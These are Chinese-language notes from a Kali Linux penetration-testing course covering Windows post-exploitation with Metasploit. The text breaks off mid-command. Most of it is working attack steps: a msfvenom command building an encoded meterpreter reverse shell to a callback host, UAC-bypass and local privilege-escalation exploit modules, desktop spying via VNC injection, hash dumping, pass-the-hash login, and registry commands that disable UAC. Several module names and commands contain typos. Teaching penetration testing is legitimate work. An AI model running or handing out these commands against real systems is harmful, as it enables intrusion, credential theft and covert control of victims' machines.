笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
文章目录
基于已经获得目标系统控制权后扩大攻击效果
- 提权
- 信息收集
- 渗透内网
- 永久后门
后渗透阶段可以做的大量工作,很大程度上取决于meterpreter/shell的强大功能
一、基于已有session提权
首先进入meterpreter/shell,诱使攻击目标访问构造程序后,即反弹shell
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -e x86/shikata -i 9 -f exe -o 1.exe
拿到metepreter shell后提权
注意:用msfvenom构造的windows/meterpreter/reverse_tcp默认是x86架构,windows/x64/meterpreter/reverse_tcp是x64架构
load priv
getsystem
此时若显示Operation failed:Access is denied,则一般是因为UAC,接下来绕过UAC限制
UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista之后的系统引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限
local目录中的模块主要针对已获取的session
#方法一:
use exploit/windows/local/ask
set session
set filename
run #UAC会询问是否接受未知程序,如果选择是,则通过UAC许可
#方法二:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
set session
set payload
run
#随后在生成的shell中提权
getsystem
getuid #可以看见提升为系统用户
只有管理用户组中的成员绕过UAC后才能提权,普通用户即便是绕过了UAC,一样无法提权到system,此时要利用漏洞直接提权为system。
use exploit/windows/local/ms13_053_schlamlperei
set payload/RHSOTS/session
run #此时getuid可以看到直接就是system权限
use exploit/windows/local/ms13_081_track_popup_menu
set payload/RHSOTS/session
run
#也可以使用图形化payload,可以监视攻击目标的桌面(注意这个payload并不是所有模块都能使用,ms13_053_schlamlperei可以使用)
set payload windows/vncinject/reverse_tcp
#如果要操作攻击者的桌面,要修改参数viewonly为no
VNC和远程桌面都能实现远程控制,不同的是:VNC使用RFB协议(C/S架构5900端口,B/S架构5800端口),远程桌面使用RDP协议(3389端口)
二、提权后进一步操作
1.密码获取与登录
#在具备系统权限的shell中运行hashdump模块
run post/windows/gather/hashdump
#在得到哈希值后,可以用passthehash,根据哈希值直接登录用户
#passthehash在metasploit中也有专用模块
use exploit/windows/smb/psexec
set SMBUser
set SMBPass xxx:xxx(hash值)
set payload windows/meterpreter/reverse_tcp
run #失败则可能是由于UAC(Command=17,woedCount=0)
#可以利用已经获取的session运行远程命令,关掉UAC
#关掉UAC的命令
cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFRWARE